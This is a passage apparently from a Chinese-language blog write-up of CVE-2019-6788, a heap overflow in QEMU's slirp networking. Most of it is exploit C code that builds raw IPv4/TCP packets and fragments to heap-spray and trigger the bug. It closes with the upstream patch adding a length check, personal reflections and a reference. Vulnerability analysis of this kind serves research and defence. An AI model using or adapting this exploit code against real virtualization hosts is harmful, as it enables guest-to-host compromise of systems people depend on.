snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl() failed to find interface ");
exit(EXIT_FAILURE);
}
close(sd);

// Source IPv4 address: you need to fill this out
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / sizeof(uint32_t);
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + TCP header + TCP data
iphdr.ip_len = htons(IP4_HDRLEN + payloadlen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons(pkt_info->ip_id);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = pkt_info->MF;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;

iphdr.ip_off =
htons((ip_flags[0] << 15) + (ip_flags[1] << 14) + (ip_flags[2] << 13) +
ip_flags[3] + (pkt_info->ip_off >> 3));
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 255;
// Transport layer protocol (8 bits): 6 for TCP
iphdr.ip_p = pkt_info->ip_p;
// iphdr.ip_p = IPPROTO_TCP;

// Source IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// Destination IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

// Prepare packet.
// First part is an IPv4 header.
memcpy(packet, &iphdr, IP4_HDRLEN * sizeof(uint8_t));
// Last part is upper layer protocol data.
memcpy((packet + IP4_HDRLEN), payload, payloadlen * sizeof(uint8_t));

// The kernel is going to prepare layer 2 information (ethernet frame
// header) for us. For that, we need to specify a destination for the kernel
// in order for it to decide where to send the raw datagram. We fill in a
// struct in_addr with the desired destination IP address, and pass this
// structure to the sendto() function.
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

// Submit request for a raw socket descriptor.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed ");
exit(EXIT_FAILURE);
}

// Set flag so socket expects us to provide IPv4 header.
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() failed to set IP_HDRINCL ");
exit(EXIT_FAILURE);
}

// Bind socket to interface index.
if (setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}

// Send packet.
if (sendto(sd, packet, IP4_HDRLEN + TCP_HDRLEN + payloadlen, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) {
perror("sendto() failed ");
exit(EXIT_FAILURE);
}

// Close socket descriptor.
close(sd);
// Free allocated memory.
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(ip_flags);
free(tcp_flags);
}

void spray(int size, uint16_t ip_id) {
int i, status, sd, *ip_flags, *tcp_flags;
const int on = 1;
char *interface, *src_ip, *dst_ip;
struct ip iphdr;
struct tcphdr tcphdr;
char *payload;
int payloadlen;
uint8_t *packet;
struct sockaddr_in sin;
struct ifreq ifr;

// Allocate memory for various arrays.
packet = allocate_ustrmem(IP_MAXPACKET);
interface = allocate_strmem(40);
src_ip = allocate_strmem(INET_ADDRSTRLEN);
dst_ip = allocate_strmem(INET_ADDRSTRLEN);
ip_flags = allocate_intmem(4);
tcp_flags = allocate_intmem(8);
payload = allocate_strmem(IP_MAXPACKET);

payloadlen = size - 84;

// Interface to send packet through.
strcpy(interface, g_interface);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl() failed to find interface ");
exit(EXIT_FAILURE);
}
close(sd);
// dbg_printf("Index for interface %s is %i\n", interface, ifr.ifr_ifindex);

// Source IPv4 address: you need to fill this out
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / sizeof(uint32_t);
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + TCP header + TCP data
iphdr.ip_len = htons(IP4_HDRLEN + TCP_HDRLEN + payloadlen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons(ip_id);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = 1;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;

iphdr.ip_off = htons((ip_flags[0] << 15) + (ip_flags[1] << 14) +
(ip_flags[2] << 13) + ip_flags[3]);
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 255;
// Transport layer protocol (8 bits): 6 for TCP
iphdr.ip_p = IPPROTO_TCP;

// Source IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// Destination IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

// TCP header
// Source port number (16 bits)
tcphdr.th_sport = htons(60);
// Destination port number (16 bits)
tcphdr.th_dport = htons(80);
// Sequence number (32 bits)
tcphdr.th_seq = htonl(0);
// Acknowledgement number (32 bits)
tcphdr.th_ack = htonl(0);
// Reserved (4 bits): should be 0
tcphdr.th_x2 = 0;
// Data offset (4 bits): size of TCP header in 32-bit words
tcphdr.th_off = TCP_HDRLEN / 4;

// Flags (8 bits)
// FIN flag (1 bit)
tcp_flags[0] = 0;
// SYN flag (1 bit)
tcp_flags[1] = 0;
// RST flag (1 bit)
tcp_flags[2] = 0;
// PSH flag (1 bit)
tcp_flags[3] = 1;
// ACK flag (1 bit)
tcp_flags[4] = 1;
// URG flag (1 bit)
tcp_flags[5] = 0;
// ECE flag (1 bit)
tcp_flags[6] = 0;
// CWR flag (1 bit)
tcp_flags[7] = 0;
tcphdr.th_flags = 0;
for (i = 0; i < 8; i++) {
tcphdr.th_flags += (tcp_flags[i] << i);
}

// Window size (16 bits)
tcphdr.th_win = htons(65535);
// Urgent pointer (16 bits): 0 (only valid if URG flag is set)
tcphdr.th_urp = htons(0);
// TCP checksum (16 bits)
tcphdr.th_sum =
tcp4_checksum(iphdr, tcphdr, (uint8_t *)payload, payloadlen);

// Prepare packet.
// First part is an IPv4 header.
memcpy(packet, &iphdr, IP4_HDRLEN * sizeof(uint8_t));
// Next part of packet is upper layer protocol header.
memcpy((packet + IP4_HDRLEN), &tcphdr, TCP_HDRLEN * sizeof(uint8_t));
// Last part is upper layer protocol data.
memcpy((packet + IP4_HDRLEN + TCP_HDRLEN), payload,
payloadlen * sizeof(uint8_t));

// The kernel is going to prepare layer 2 information (ethernet frame
// header) for us. For that, we need to specify a destination for the kernel
// in order for it to decide where to send the raw datagram. We fill in a
// struct in_addr with the desired destination IP address, and pass this
// structure to the sendto() function.
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

// Submit request for a raw socket descriptor.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed ");
exit(EXIT_FAILURE);
}

// Set flag so socket expects us to provide IPv4 header.
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() failed to set IP_HDRINCL ");
exit(EXIT_FAILURE);
}

// Bind socket to interface index.
if (setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}

// Send packet.
if (sendto(sd, packet, IP4_HDRLEN + TCP_HDRLEN + payloadlen, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) {
perror("sendto() failed ");
exit(EXIT_FAILURE);
}

// Close socket descriptor.
close(sd);
// Free allocated memory.
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(ip_flags);
free(tcp_flags);
free(payload);
}

// Computing the internet checksum (RFC 1071).
// Note that the internet checksum does not preclude collisions.
uint16_t checksum(uint16_t *addr, int len) {
int count = len;
register uint32_t sum = 0;
uint16_t answer = 0;

// Sum up 2-byte values until none or only one byte left.
while (count > 1) {
sum += *(addr++);
count -= 2;
}

// Add left-over byte, if any.
if (count > 0) {
sum += *(uint8_t *)addr;
}

// Fold 32-bit sum into 16 bits; we lose information by doing this,
// increasing the chances of a collision.
// sum = (lower 16 bits) + (upper 16 bits shifted right 16 bits)
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}

// Checksum is one's compliment of sum.
answer = ~sum;

return (answer);
}

// Build IPv4 ICMP pseudo-header and call checksum function.
uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {
char buf[IP_MAXPACKET];
char *ptr;
int chksumlen = 0;
int i;

ptr = &buf[0]; // ptr points to beginning of buffer buf

// Copy Message Type to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_type, sizeof(icmphdr.icmp_type));
ptr += sizeof(icmphdr.icmp_type);
chksumlen += sizeof(icmphdr.icmp_type);

// Copy Message Code to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_code, sizeof(icmphdr.icmp_code));
ptr += sizeof(icmphdr.icmp_code);
chksumlen += sizeof(icmphdr.icmp_code);

// Copy ICMP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy Identifier to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_id, sizeof(icmphdr.icmp_id));
ptr += sizeof(icmphdr.icmp_id);
chksumlen += sizeof(icmphdr.icmp_id);

// Copy Sequence Number to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_seq, sizeof(icmphdr.icmp_seq));
ptr += sizeof(icmphdr.icmp_seq);
chksumlen += sizeof(icmphdr.icmp_seq);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

// Build IPv4 TCP pseudo-header and call checksum function.
uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload,
int payloadlen) {
uint16_t svalue;
char buf[IP_MAXPACKET], cvalue;
char *ptr;
int i, chksumlen = 0;

// ptr points to beginning of buffer buf
ptr = &buf[0];

// Copy source IP address into buf (32 bits)
memcpy(ptr, &iphdr.ip_src.s_addr, sizeof(iphdr.ip_src.s_addr));
ptr += sizeof(iphdr.ip_src.s_addr);
chksumlen += sizeof(iphdr.ip_src.s_addr);

// Copy destination IP address into buf (32 bits)
memcpy(ptr, &iphdr.ip_dst.s_addr, sizeof(iphdr.ip_dst.s_addr));
ptr += sizeof(iphdr.ip_dst.s_addr);
chksumlen += sizeof(iphdr.ip_dst.s_addr);

// Copy zero field to buf (8 bits)
*ptr = 0;
ptr++;
chksumlen += 1;

// Copy transport layer protocol to buf (8 bits)
memcpy(ptr, &iphdr.ip_p, sizeof(iphdr.ip_p));
ptr += sizeof(iphdr.ip_p);
chksumlen += sizeof(iphdr.ip_p);

// Copy TCP length to buf (16 bits)
svalue = htons(sizeof(tcphdr) + payloadlen);
memcpy(ptr, &svalue, sizeof(svalue));
ptr += sizeof(svalue);
chksumlen += sizeof(svalue);

// Copy TCP source port to buf (16 bits)
memcpy(ptr, &tcphdr.th_sport, sizeof(tcphdr.th_sport));
ptr += sizeof(tcphdr.th_sport);
chksumlen += sizeof(tcphdr.th_sport);

// Copy TCP destination port to buf (16 bits)
memcpy(ptr, &tcphdr.th_dport, sizeof(tcphdr.th_dport));
ptr += sizeof(tcphdr.th_dport);
chksumlen += sizeof(tcphdr.th_dport);

// Copy sequence number to buf (32 bits)
memcpy(ptr, &tcphdr.th_seq, sizeof(tcphdr.th_seq));
ptr += sizeof(tcphdr.th_seq);
chksumlen += sizeof(tcphdr.th_seq);

// Copy acknowledgement number to buf (32 bits)
memcpy(ptr, &tcphdr.th_ack, sizeof(tcphdr.th_ack));
ptr += sizeof(tcphdr.th_ack);
chksumlen += sizeof(tcphdr.th_ack);

// Copy data offset to buf (4 bits) and
// copy reserved bits to buf (4 bits)
cvalue = (tcphdr.th_off << 4) + tcphdr.th_x2;
memcpy(ptr, &cvalue, sizeof(cvalue));
ptr += sizeof(cvalue);
chksumlen += sizeof(cvalue);

// Copy TCP flags to buf (8 bits)
memcpy(ptr, &tcphdr.th_flags, sizeof(tcphdr.th_flags));
ptr += sizeof(tcphdr.th_flags);
chksumlen += sizeof(tcphdr.th_flags);

// Copy TCP window size to buf (16 bits)
memcpy(ptr, &tcphdr.th_win, sizeof(tcphdr.th_win));
ptr += sizeof(tcphdr.th_win);
chksumlen += sizeof(tcphdr.th_win);

// Copy TCP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy urgent pointer to buf (16 bits)
memcpy(ptr, &tcphdr.th_urp, sizeof(tcphdr.th_urp));
ptr += sizeof(tcphdr.th_urp);
chksumlen += sizeof(tcphdr.th_urp);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

// Allocate memory for an array of chars.
char *allocate_strmem(int len) {
char *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_strmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (char *)malloc(len * sizeof(char));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(char));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_strmem().\n");
exit(EXIT_FAILURE);
}
}

// Allocate memory for an array of unsigned chars.
uint8_t *allocate_ustrmem(int len) {
uint8_t *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_ustrmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (uint8_t *)malloc(len * sizeof(uint8_t));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(uint8_t));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_ustrmem().\n");
exit(EXIT_FAILURE);
}
}

// Allocate memory for an array of ints.
int *allocate_intmem(int len) {
int *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_intmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (int *)malloc(len * sizeof(int));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(int));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_intmem().\n");
exit(EXIT_FAILURE);
}
}

void hexdump(const char *desc, void *addr, int len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char *)addr;

// Output description if given.
if (desc != NULL)
printf("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n", len);
return;
}

// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf(" %s\n", buff);
// Output the offset.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf(" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf(" ");
i++;
}
// And print the final ASCII bit.
printf(" %s\n", buff);
}

漏洞patch

在memcpy前增加了长度检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;

if (m->m_len > so_rcv->sb_datalen //增加了检查
- (so_rcv->sb_wptr - so_rcv->sb_data)) {
return 1;
}

memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;

后记

搜这个CVE的时候看到了一个师傅的分析,其中引用的一个大佬的话发人深省。

最近在想分析漏洞究竟要到什么地步才算分析透彻,个人觉得能理解一个漏洞产生的原因,利用链以及挖掘相同漏洞的经验就算分析的比较透彻了,这也是我需要向raycp和其他师傅学习的东西。

最后的最后来点碎碎念,昨晚做梦跟一个尊敬的前辈聊天,问他我怎样才能进入xx实验室,前辈说我不够努力,是进不去的,醒来非常难受,希望寒假可以真真切切地做点事情。

参考

qemu-pwn cve-2019-6788堆溢出漏洞分析

您的支持将鼓励我继续创作